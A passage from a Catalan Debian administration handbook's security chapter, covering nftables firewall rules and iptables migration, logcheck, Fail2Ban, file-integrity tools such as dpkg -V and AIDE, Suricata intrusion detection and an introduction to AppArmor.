Una alternativa a escriure i desar/carregar les regles requerides és utilitzar ufw del paquet amb el mateix nom. Aquesta eina és un frontal per a iptables també, però només proporciona una interfície de línia d'ordres. Ordres simples poden activar o desactivar (blocar) el trànsit de xarxa a i des de ports i adreces IP. Els fitxers de configuració a /etc/ufw/ també possibiliten conjunts complexos de regles (per exemple, connectar-los amb les cadenes Docker), que després es desen i es carreguen automàticament. Aquesta eina s'utilitza sovint per a configuracions simples i per bloquejar el trànsit entrant en ports que no es poden assignar a un conjunt limitat d'interfícies o tancar adequadament.

Per activar un tallafocs per defecte a Debian executeu:

# apt install -y nftables Reading package lists... Done ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. El comportament d'nftables

Quan el nucli està processant un paquet de xarxa, fa una pausa i ens permet inspeccionar-lo i decidir què fer-ne. Per exemple, podríem voler deixar o descartar determinats paquets entrants, modificar altres paquets de diverses maneres, bloquejar certs paquets sortints per lluitar contra el programari maliciós o redirigir alguns paquets al més aviat possible a les interfícies de xarxa de pont o per repartir la càrrega dels paquets entrants entre sistemes.

Una bona comprensió de les capes 3, 4 i 5 del model OSI (Open Systems Interconnection) és essencial per obtenir el màxim rendiment del netfilter.

CULTURA El model OSI

El model OSI és un model conceptual per implementar protocols de xarxa sense tenir en compte la seva estructura interna subjacent i la tecnologia. L'objectiu és la interoperabilitat entre sistemes de comunicació diversos amb protocols de comunicació estàndard.

Aquest model es va definir a l'estàndard ISO/EIC 7498. Es descriuen les següents set capes:

Física: transmissió i recepció de fluxos de bits sense processar sobre un mitjà físic

Enllaç de dades: transmissió fiable d'estructures de dades entre dos nodes connectats per una capa física

Xarxa: estructuració i gestió d'una xarxa multinode, incloent-hi adreçament, encaminat i control de trànsit

Transport: transmissió fiable de segments de dades entre punts d'una xarxa, incloent la segmentació, el reconeixement i el multiplexat

Sessió: gestió de les sessions de comunicació, és a dir, intercanvi continu d'informació en forma de transmissions d'anada i tornada entre dos nodes

Presentació: traducció de dades entre un servei de xarxa i una aplicació; incloent la codificació de caràcters, la compressió de dades i l'encriptatge/desencriptatge

Aplicació: APIs d'alt nivell, incloent-hi la compartició de recursos, accés a fitxers remots.

Es pot trobar més informació a la Viquipèdia:

→ https://en.wikipedia.org/wiki/OSI_model

El tallafocs està configurat amb tables (taules), que contenen rules (regles) contingudes en chains (cadenes). A diferència d'iptables, nftables no té cap taula predeterminada. L'usuari decideix quines i quantes taules crear. Cada taula ha de tenir només una de les següents cinc famílies assignades: ip, ip6, inet, arp i bridge. S'utilitzarà ip si no s'especifica la família.

Hi ha dos tipus de cadenes: base chains (cadenes bàsiques) i regular chains (cadenes regulars). Una cadena bàsica és un punt d'entrada per als paquets des de la pila de xarxa. Les cadenes bàsiques són registrades als ganxos («hooks») de Netfilter, és a dir, veuen paquets fluint a través de la pila TCP/IP. D'altra banda, una cadena regular no s'uneix a cap ganxo, així que no veu cap trànsit. Però es pot utilitzar com a objectiu de salt per a una millor organització de les regles.

Les regles es composen de declaracions, que inclouen algunes expressions d'encaix i després una declaració de veredicte, com accept (acceptar), drop (retirar), queue (encuar), continu (continuar), return (retornar),jump chain (saltar cadena) i goto chain (anar a cadena).

TORNAR A LES BASES ICMP

ICMP («Internet Control Message Protocol» o “protocol de missatges de control d'Internet”) és el protocol utilitzat per transmetre informació complementària sobre les comunicacions. Permet provar la connectivitat de xarxa amb l'ordre ping (que envia un missatge d'ICMP echo request (petició d'eco), que el destinatari ha de respondre amb un missatge d'ICMP echo reply (resposta d'eco)). Assenyala un tallafocs que rebutja un paquet, indica un desbordament en una memòria intermèdia de recepció, proposa una ruta millor per als paquets posteriors en la connexió, etc. Aquest protocol està definit per diversos documents RFC; els RFC 777 i RFC 792 inicials es van completar aviat i es van ampliar.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Com a referència, una memòria intermèdia de recepció és una petita zona de memòria que emmagatzema dades mentrestant que arriba des de la xarxa i fins que el nucli la gestiona. Si aquesta zona està plena, no es poden rebre noves dades, i ICMP assenyala el problema, de manera que l'emissor pot alentir la seva taxa de transferència (que idealment hauria d'arribar a un equilibri després d'algun temps).

Tingueu en compte que encara que una xarxa IPv4 pot funcionar sense ICMP, ICMPv6 és estrictament necessari per a una xarxa IPv6, ja que combina diverses funcions que, en el món IPv4, es van estendre a través de ICMPv4, IGMP (Internet Group Membership Protocol) i ARP (Adress Resolution Protocol). L'ICMPv6 es defineix a RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Migració des d'iptables a nftables

Les ordres iptables-translate i ip6tables-translate es poden utilitzar per traduir ordres antigues d'iptables a la nova sintaxi d'nftables. També es poden traduir conjunts sencers de regles, en aquest cas migrem les regles configurades en un ordinador que té instal·lat Docker:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat DOCKER iifname "docker0" counter return # Completed on Wed Mar 16 22:06:32 2022 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table inet filter { chain input { type filter hook input priority filter; policy accept; } chain forward { type filter hook forward priority filter; policy accept; } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return iifname "docker0" counter packets 0 bytes 0 return } chain POSTROUTING { type nat hook postrouting priority srcnat; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain PREROUTING { type nat hook prerouting priority dstnat; policy accept; fib daddr type local counter packets 1 bytes 60 jump DOCKER fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } } table ip filter { chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain FORWARD { type filter hook forward priority filter; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state established,related counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain DOCKER-USER { counter packets 0 bytes 0 return counter packets 0 bytes 0 return } chain INPUT { type filter hook input priority filter; policy accept; } chain OUTPUT { type filter hook output priority filter; policy accept; } }

Les eines iptables-nft, ip6tables-nft, arptables-nft i ebtables-nft són versions d'iptables que utilitzen l'API nftables, de manera que els usuaris poden seguir utilitzant la sintaxi de l'antic iptables amb ells, però això no és recomanable; aquestes eines només s'han d'utilitzar per a compatibilitat amb versions anteriors.

14.2.3. Sintaxi d'nft

Les ordres nft permeten manipular taules, cadenes i regles. L'opció table admet múltiples operacions: add, create, delete, list i flush. nft add table ip6 mangle afegeix una taula nova de la família ip6.

Per a inserir una nova cadena base a la taula filter, podeu executar la següent ordre (tingueu en compte que el punt i coma s'escapa amb una barra inversa quan s'utilitza Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Les regles s'afegeixen normalment amb la sintaxi següent: nft add rule [família] taula cadena handle handle statement.

insert és similar a la comanda add, però la regla donada és ubicada al començament de la cadena o abans de la regla amb «handle» donat en lloc de fer-ho al final o després d'aquesta regla. Per exemple, la següent ordre insereix una regla abans de la regla amb el «handler» número 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

Les ordres nft executades no fan canvis permanents a la configuració, de manera que es perden si no es desen. Les regles del tallafocs es troben a /etc/nftables.conf. Una manera senzilla de desar la configuració actual del tallafocs d'una manera permanent és executar nft list ruleset > /etc/nftables.conf com a superusuari.

nft permet moltes més operacions, vegeu la seva pàgina del manual nft(8) per a més informació.

14.2.4. Instal·lació de les regles a cada arrencada

Per activar per defecte un tallafocs a Debian cal desar les regles a /etc/nftables.conf i executar systemctl enable nftables com a superusuari. Podeu aturar el tallafocs executant nft flush ruleset com a superusuari.

En altres casos, la manera recomanada és registrar l'script de configuració a la directiva up del fitxer /etc/network/interfaces. En el següent exemple, l'script s'emmagatzema sota /usr/local/etc/arrakis.fw.

Exemple 14.1. fitxer interfaces cridant l'script del tallafocs

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

Això suposa òbviament que esteu utilitzant ifupdown per configurar les interfícies de xarxa. Si esteu utilitzant alguna altre cosa (com NetworkManager o systemd-networkd), llavors consulteu la respectiva documentació corresponent per trobar maneres d'executar un script després que s'hagi creat la interfície.

14.3. Supervisió: Prevenció, detecció, dissuassió

La monitorització forma part integral de qualsevol política de seguretat per diverses raons. Entre elles, que l'objectiu de la seguretat no es limita normalment a garantir la confidencialitat de les dades, sinó que també inclou garantir la disponibilitat dels serveis. Per tant, és imperatiu comprovar que tot funciona com s'espera, i detectar de manera oportuna qualsevol comportament desviat o canvis en la qualitat dels serveis prestats. L'activitat de seguiment pot ajudar a detectar intents d'intrusió i permetre una reacció ràpida abans que causin greus conseqüències. Aquesta secció revisa algunes eines que es poden utilitzar per supervisar diversos aspectes d'un sistema Debian. Com a tal, això completa Secció 12.4, «Monitorització».

14.3.1. Monitoritzar els registres amb logcheck

El programa logcheck monitoritza els fitxers de registre, per defecte, cada hora. Envia missatges de registre inusuals en correus electrònics a l'administrador per a una anàlisi posterior.

La llista de fitxers monitoritzats s'emmagatzema a /etc/logcheck/logcheck.logfiles; els valors per defecte funcionen bé si el fitxer /etc/rsyslog.conf no s'ha modificat excessivament.

logcheck pot treballar en un dels tres modes més o menys detallats: paranoid, server i workstation. El primer és molt detallat, i probablement hauria de ser restringit a servidors específics com ara tallafocs. El segon mode (per defecte) es recomana per a la majoria de servidors. L'últim està dissenyat per a estacions de treball, i és fins i tot concís (filtra més missatges).

En els tres casos, logcheck probablement s'hauria de personalitzar per excloure alguns missatges addicionals (depenent dels serveis instal·lats), llevat que l'administrador realment desitgi rebre cada hora correus llargs i poc interessants. Atès que el mecanisme de selecció de missatges és bastant complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz és una lectura requerida, i difícil.

Les regles aplicades es poden dividir en diversos tipus:

aquells que qualifiquen un missatge com un intent d'intrusió (desats en un fitxer al directori /etc/logcheck/cracking.d/);

els que cancel·len aquesta qualificació (/etc/logcheck/cracking.ignore.d/);

aquells que classifiquen un missatge com a alerta de seguretat (/etc/logcheck/violations.d/);

els que cancel·len aquesta classificació (/etc/logcheck/violations.ignore.d/);

Finalment, els que s'apliquen als missatges restants (considerats com esdeveniments del sistema).

PRECAUCIÓ Ignorar un missatge

Qualsevol missatge etiquetat com un intent d'intrusió o una alerta de seguretat (seguint una regla emmagatzemada en un fitxer /etc/logcheck/violations.d/myfile) només es pot ignorar per una regla en un fitxer a /etc/logcheck/violations.ignore.d/myfile o a /etc/logcheck/violations.ignore.d/myfile-extension.

Un esdeveniment del sistema sempre s'indica llevat que una regla en una dels directoris /etc/logcheck/ignore.d.{paranoid,server,workstation}/ determinia que l'esdeveniment s'ha d'ignorar. Per descomptat, els únics directoris que es tenen en compte són els que corresponen a nivells de detall iguals o superiors al mode d'operació seleccionat.

14.3.2. Monitorització de l'activitat

14.3.2.1. En temps real

top és una eina interactiva que mostra una llista de processos actualment en execució. L'ordenació per defecte es basa en la quantitat actual d'ús del processador i es pot obtenir amb la tecla P. Altres ordres d'ordenació inclouen una ordeació per memòria ocupada (teclaM), per temps total de processador (tecla T) i per identificador de procés (tecla N). La tecla k permet matar un procés introduint el seu identificador de procés. La tecla r permet «renicing» un procés, és a dir, canviar la seva prioritat.

Quan el sistema sembla estar sobrecarregat, top és una gran eina per veure quins processos competeixen pel temps del processador o consumeixen massa memòria. En particular, sovint és interessant comprovar si els processos que consumeixen recursos coincideixen amb els serveis reals que se sap que la màquina allotja. Un procés desconegut que s'executa com a usuari de www-data s'hauria de destacar i ser investigat, ja que és probablement una instància de programari instal·lat i executat en el sistema a través d'una vulnerabilitat en una aplicació web.

top és una eina molt flexible i la seva pàgina manual proporciona detalls sobre com personalitzar la seva pantalla i adaptar-la a les necessitats i hàbits personals.

L'eina gràfica gnome-system-monitor és similar a top i proporciona aproximadament les mateixes característiques.

14.3.2.2. Historial

La càrrega del processador, el trànsit de xarxa i l'espai de disc lliure són informació que varien constantment. Mantenir un historial de la seva evolució és sovint útil per determinar exactament com s'utilitza l'ordinador.

Hi ha moltes eines dedicades a aquesta tasca. La majoria poden obtenir dades a través de SNMP («Simple Network Management Protocol» o “protocol simple de gestió de xarxa”) per centralitzar aquesta informació. Un benefici afegit és que això permet obtenir dades d'elements de xarxa que poden no ser ordinadors de propòsit general, com ara encaminadors de xarxa dedicats o commutadors.

Aquest llibre tracta de Munin amb un cert detall (vegeu Secció 12.4.1, «Configuració de Munin») com a part de Capítol 12: «Administració avançada». Debian també proporciona una eina similar, cacti. El seu desplegament és lleugerament més complex, ja que es basa únicament en SNMP. Tot i tenir una interfície web, agafar els conceptes implicats en la configuració encara requereix cert esforç. Llegir la documentació HTML (/usr/share/doc/cacti/html/Table-of-Contents.html) s'ha de considerar un requisit previ.

ALTERNATIVA mrtg

mrtg (al paquet del mateix nom) és una eina més antiga. Malgrat algunes “arestes aspres”, pot agregar dades històriques i mostrar-les com a grafs. Inclou una sèrie d'scripts dedicats a la recopilació de les dades monitoritzades més sovint com ara la càrrega del processador, el trànsit de xarxa, les visites a pàgines web, etc.

Els paquets mrtg-contrib i mrtgutils contenen scripts d'exemple que es poden utilitzar directament.

14.3.3. Evitar les intrusions

Els atacants tracten d'obtenir accés als servidors mitjançant l'endevinació de les contrasenyes, és per això que sempre s'han d'utilitzar contrasenyes fortes. Fins i tot així, també haurien d'establir-se mesures contra els atacs de força bruta. Un atac de força bruta és un intent d'iniciar sessió en un sistema no autoritzat mitjançant la realització de múltiples intents d'inici de sessió en un període curt de temps.

La millor manera d'aturar un atac de força bruta és limitar el nombre d'intents d'entrada procedents del mateix origen, generalment prohibint temporalment una adreça IP.

Fail2Ban és un paquet de programari de prevenció d'intrusions que es pot configurar per monitoritzar qualsevol servei que desi els intents d'inici de sessió en un fitxer de registre. Es pot trobar al paquet fail2ban.

Fail2Ban està configurat a través d'un protocol simple per fail2ban-client, que també llegeix els fitxers de configuració i emet les ordres de configuració corresponents al servidor, fall2ban-server. Té quatre tipus de fitxers de configuració, tots emmagatzemats en /etc/fail2ban/:

fail2ban.conf. Configuració global (com ara el registre).

filter.d/*.conf. Filtres que especifiquen com detectar errors d'autenticació. El paquet Debian ja conté filtres per a molts programes habituals.

action.d/*.conf. Accions que defineixen les ordres per prohibir o permetre les adreces IP.

jail.conf. És on es defineixen «jails» o “presons”, les combinacions de filtres i accions.

Si es fa un cop d'ull a la configuració d'sshd a /etc/fail2ban/jail.conf es pot entendre millor com funciona Fail2Ban...

[...] [DEFAULT] [...] bantime = 10m [...] findtime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban comprovarà si hi ha inicis de sessió fallits per sshd utilitzant expressions regulars de Python definides a /etc/fail2ban/filter.d/sshd.conf contra el fitxer de registre d'sshd, que es defineix a la variable sshd_log al fitxer /etc/fail2ban/paths-common.conf. Si Fail2Ban detecta cinc intents fallits d'inici de sessió en deu minuts, prohibirà durant deu minuts l'adreça IP des d'on s'han originat aquests intents.

Per activar, desactivar o configurar «jails» (“presons”), se suposa que el fitxer de configuració principal /etc/fail2ban/jail.conf no s'ha de modificar. En lloc d'això, se suposa que s'ha de fer a /etc/fail2ban/jail.d/defaults-debian.conf o en fitxers dins del mateix directori.

Fail2Ban és una forma molt senzilla i eficaç de protegir-se contra els atacs de força bruta més comuns, però no pot protegir contra atacs de força bruta distribuïda, que és quan un atacant utilitza un gran nombre de màquines escampades per Internet.

Una bona manera de proporcionar protecció addicional contra els atacs de força bruta distribuïda és augmentar artificialment el temps d'inici de sessió després de cada intent fallit.

14.3.4. Detecció de canvis

Una vegada que el sistema està instal·lat i configurat, i exceptuant les actualitzacions de seguretat, no hi ha cap raó perquè la majoria dels fitxers i directoris evolucionin, tret de les dades. Per tant, és interessant assegurar-se que els arxius no canvien realment: d'aquesta manera valdria la pena investigar qualsevol canvi inesperat. Aquesta secció presenta algunes eines que poden usar per monitoritzar els fitxers i advertir a l'administrador quan es produeix un canvi inesperat (o simplement per llistar aquests canvis).

14.3.4.1. Auditar els paquets amb dpkg --verify

ANANT MÉS ENLLÀ Protecció contra els canvis de les fonts

dpkg --verify i debsums són útils en la detecció de canvis en els fitxers inclosos en un paquet de Debian, però són inútils si el propi paquet està ja compromès, per exemple, si el mirall de Debian ha estat compromès. Protegir contra aquesta classe d'atacs implica utilitzar el sistema de verificació de signatura digital d'APT (vegeu Secció 6.6, «Comprovació de l'autenticitat d'un paquet»), i tenir cura d'instal·lar paquets amb un origen certificat.

dpkg --verify (o dpkg -V) és una eina interessant ja que permet trobar els fitxers instal·lats que han estat modificats (potencialment per un atacant), però això s'ha de prendre amb precaució. Per fer la tasca es basa en les sumes de verificació emmagatzemades a la base de dades del dpkg que s'emmagatzema al disc dur (es poden trobar a /var/lib/dpkg/info/paquet.md5sums); un atacant minuciós actualitzarà aquests fitxers de manera que continguin les sumes de verificació noves per als fitxers subvertits.

TORNAR A LES BASES Empremta d'un fitxer

Com a recordatori: una empremta és un valor, sovint un número (fins i tot en notació hexadecimal), que conté una mena de signatura per al contingut d'un fitxer. Aquesta signatura es calcula amb un algorisme, com ara MD5 via md5sum o SHA* via les diverses ordres sha* en són exemples ben coneguts que més o menys garanteixen que fins i tot el canvi més petit en el contingut del fitxer implica un canvi en l'empremta; això es coneix com a “efecte allau”. Això permet que una simple empremta numèrica serveixi com a prova per verificar si el contingut d'un fitxer s'ha alterat. Aquests algoritmes no són reversibles; en altres paraules, per a la majoria d'ells, saber una empremta no permet trobar el contingut corresponent. Els avenços matemàtics recents semblen afeblir l'absolutesa d'aquests principis, però el seu ús no es qüestiona fins ara, ja que la creació de diferents continguts que produeixen la mateixa empremta encara sembla una tasca bastant difícil.

En executar dpkg -V es verificaran tots els paquets instal·lats i s'imprimirà una línia per a cada fitxer que no passi el test. El format de sortida és el mateix que el de rpm -V on cada caràcter denota una prova en algunes metadades específiques. Malauradament dpkg no emmagatzema les metadades necessàries per a la majoria de les proves i per tant mostrarà interrogants en elles. Actualment només la prova de suma de verificació pot produir un "5" al tercer caràcter (quan falla).

# dpkg -V ??5?????? /lib/systemd/system/ssh.service ??5?????? c /etc/libvirt/qemu/networks/default.xml ??5?????? c /etc/lvm/lvm.conf ??5?????? c /etc/salt/roster

En la mostra anterior, dpkg informa d'un canvi al fitxer de servei d'SSH que l'administrador va fer al fitxer empaquetat en lloc d'utilitzar el corresponent «override» o “reemplaçament” /etc/systemd/system/ssh.service.d/override.conf (que s'emmagatzemaria per sota de /etc com qualsevol canvi de configuració). També llista diversos fitxers de configuració (identificats per la lletra "c" en el segon camp) que havien estat modificats legítimament.

14.3.4.2. Auditoria de paquets: debsums i les seves limitacions

debsums és l'avantpassat de dpkg -V i per tant és majoritàriament obsolet. Pateix de les mateixes limitacions que el dpkg. Afortunadament, algunes de les limitacions es poden esquivar (mentre que dpkg no ofereix alternatives similars).

Com que les dades del disc no són confiables, debsums ofereix fer les seves comprovacions basades en fitxers .deb en lloc de confiar en la base de dades del dpkg. Per descarregar fitxers .deb de confiança per tots els paquets instal·lats, podem confiar en les descàrregues autenticades d'APT. Aquesta operació pot ser lenta i tediosa, i per tant no ha de considerar-se una tècnica proactiva per ser utilitzada de manera regular.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

Tingueu en compte que aquest exemple utilitza l'ordre grep-status del paquet dctrl-tools, que no està instal·lat per defecte.

debsums es pot executar periòdicament com una tasca cron CRON_CHECK a /etc/default/debsums. Per ignorar certs fitxers fora del directori /etc que es puguin haver alterat expressament o que s'espera que canviïn (com /usr/share/misc/pci.ids) es poden afegir a /etc/debsums-ignore.

14.3.4.3. Monitorització de fitxers: AIDE

L'eina AIDE («Advanced Intrusion Detection Environment» o “entorn avançat de detecció d'intrusions”) permet comprovar la integritat de l'arxiu i detectar qualsevol canvi contra una imatge prèviament registrada del sistema vàlid. Aquesta imatge s'emmagatzema com a base de dades (/var/lib/aide/aide.db) que conté la informació rellevant sobre tots els fitxers del sistema (empremtes, permisos, marques temporals, etc.). Aquesta base de dades s'inicia per primera vegada amb aideinit; després s'utilitza diàriament (per l'script /etc/cron.daily/aide) per comprovar que res rellevant no ha canviat. Quan es detecten canvis, l'AIDE els registra en els arxius de registre (/var/log/aide/*.log) i envia els seus descobriments a l'administrador per correu electrònic.

A LA PRÀCTICA Protecció de la base de dades

Com que AIDE utilitza una base de dades local per comparar els estats dels fitxers, la validesa dels seus resultats està directament relacionada amb la validesa de la base de dades. Si un atacant obté permisos de superusuari en un sistema compromès, podria reemplaçar la base de dades i ocultar les seves traces. Una possible solució seria emmagatzemar les dades de referència en mitjans d'emmagatzematge de només lectura.

Moltes opcions a /etc/default/aide es poden utilitzar per ajustar el comportament del paquet aide. La configuració adequada de l'AIDE s'emmagatzema a /etc/aide/aide.conf i /etc/aide/aide.conf.d/ (realment, aquests fitxers només s'utilitzen per update-aide.conf per generar /var/lib/aide/aide.conf.autogenerated). La configuració indica quines propietats dels fitxers s'han de comprovar. Per exemple, el contingut dels arxius de registre canvia de manera rutinària, així aquests canvis es poden ignorar sempre que els permisos d'aquests fitxers romanguin iguals, però tant el contingut com els permisos dels programes executables han de ser constants. Encara que no és molt complexa, la sintaxi de configuració no és completament intuïtiva, i per tant es recomana llegir la pàgina del manual aide.conf(5).

Una nova versió de la base de dades es genera diàriament a /var/lib/aide/aide.db.new; si tots els canvis registrats fossin legítims, es pot utilitzar per reemplaçar la base de dades de referència.

ALTERNATIVA Tripwire i Samhain

Tripwire és molt similar a AIDE; fins i tot la sintaxi del fitxer de configuració és gairebé la mateixa. L'afegit principal proporcionat per tripwire és un mecanisme per signar l'arxiu de configuració, de manera que un atacant no pot fer-lo apuntar en una versió diferent de la base de dades de referència.

Samhain també ofereix característiques similars, així com algunes funcions per ajudar a detectar «rootkits» (vegeu la barra lateral ULLADA RÀPIDA Els paquets checksecurity i chkrootkit/rkhunter). També es pot desplegar globalment en una xarxa, i desar les seves traces en un servidor central (amb signatura).

ULLADA RÀPIDA Els paquets checksecurity i chkrootkit/rkhunter

El primer d'aquests paquets conté diversos petits scripts que realitzen comprovacions al sistema (contrasenyes buides, nous fitxers setuid, etc.) i adverteixen a l'administrador si és necessari. Malgrat el seu nom explícit, un administrador no hauria de confiar únicament en ell per assegurar-se que un sistema Linux és segur.

Els paquets chkrootkit i rkhunter permeten la cerca de rootkits instal·lats potencialment al sistema. Com a recordatori, es tracta de peces de programari dissenyades per amagar el compromís d'un sistema mentre es manté discretament el control de la màquina. Les proves no són 100% fiables, però normalment poden cridar l'atenció de l'administrador sobre els possibles problemes.

rkhunter també realitza comprovacions per veure si s'han modificat les ordres, si s'han modificat els fitxers d'arrencada del sistema, i diverses comprovacions a les interfícies de xarxa, incloent-hi comprovacions per a aplicacions que hi pugui escoltar.

14.3.5. Detecció d'intrusions (IDS/NIDS)

TORNAR A LES BASES Denegació de servei

Un atac de “denegació de servei” només té un objectiu: fer que un servei no estigui disponible. Tant si un atac d'aquest tipus implica sobrecarregar el servidor amb consultes o explotar un error, el resultat final és el mateix: el servei deixa d'estar operatiu. Els usuaris regulars no estan satisfets i l'entitat que acull el servei de xarxa específic sofreix una pèrdua de reputació (i possiblement d'ingressos, per exemple si el servei era un lloc de comerç electrònic).

Aquest atac és de vegades “distribuït”; això normalment implica sobrecarregar el servidor amb un gran nombre de consultes procedents de molts orígens diferents perquè el servidor no pugui respondre a les consultes legítimes. Aquests tipus d'atacs han guanyat acrònims coneguts: DDoS i DoS (depenent de si l'atac de denegació de servei és distribuït o no).

suricata (al paquet Debian del mateix nom) és un NIDS — un «Network Intrusion Detection System» o “sistema de detecció d'intrusions per xarxa”. La seva funció és escoltar la xarxa i intentar detectar intents d'infiltració i/o actes hostils (incloent-hi atacs de denegació de servei). Tots aquests esdeveniments estan connectats en múltiples fitxers a /var/log/suricata. Hi ha eines de tercers (Kibana/logstash) per navegar millor per totes les dades recollides.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

COMPTE Rang d'acció

L'efectivitat de suricata està limitada pel trànsit vist a la interfície de xarxa controlada. Evidentment, no podrà detectar res si no pot observar el trànsit real. Quan es connecti a un commutador de xarxa només controlarà els atacs dirigits a la màquina en la qual s'executa, la qual cosa probablement no és la intenció. La màquina que alberga suricata s'hauria d'endollar al port de "mirall" del commutador, que normalment es dedica a encadenar commutadors i, per tant, rep tot el trànsit.

La configuració de suricata implica revisar i editar /etc/suricata/suricata.yaml, que és molt llarg perquè cada paràmetre està molt comentat. Una configuració mínima requereix descriure l'interval d'adreces que cobreix la xarxa local (paràmetreHOME_NET). A la pràctica, això significa el conjunt de tots els possibles objectius d'atac. Però per treur'n tot el profit requereix llegir-lo íntegrament i adaptar-lo a la situació local.

A més d'això, també s'hauria d'editar per la «interface» (o “interfície”) de xarxa. També és possible que vulgueu establir LISTENMODE=pcap perquè el valor predeterminat LISTENMODE=nfqueue requereix una configuració addicional per funcionar correctament (el tallafocs netfilter s'ha de configurar per passar paquets a una cua d'espai d'usuari gestionada per suricata a través de l'objectiu NFQUEUE).

Per detectar un comportament maliciós, suricata necessita un conjunt de regles de seguiment: es poden trobar aquestes regles al paquet snort-rules-default. snort és la referència històrica a l'ecosistema IDS i suricata és capaç de reutilitzar les regles escrites per a ell.

Alternativament, oinkmaster (al paquet del mateix nom) es pot utilitzar per descarregar conjunts de regles Snort de fonts externes.

ANANT MÉS ENLLÀ Integració amb prelude

Prelude aporta un control centralitzat de la informació de seguretat. La seva arquitectura modular inclou un servidor (el gestor de prelude-manager) que reuneix alertes generades per sensors de diversos tipus.

El Suricata es pot configurar com a sensor d'aquests. Altres possibilitats inclouen prelude-lml (Log Monitor Lackey) que monitoritza els fitxers de registre (de manera similar a logcheck, descrit a Secció 14.3.1, «Monitoritzar els registres amb logcheck»).

14.4. Introducció a AppArmor

14.4.1. Principis

AppArmor és un sistema «Mandatory Access Control» o “control obligatori d'accés” (MAC) basat en la interfície de Linux LSM («Linux Security Modules» “mòduls de seguretat de linux”). A la pràctica, el nucli consulta AppArmor abans de cada crida de sistema per saber si el procés està autoritzat a fer l'operació demanada. A través d'aquest mecanisme, AppArmor limita els programes a un conjunt limitat de recursos.

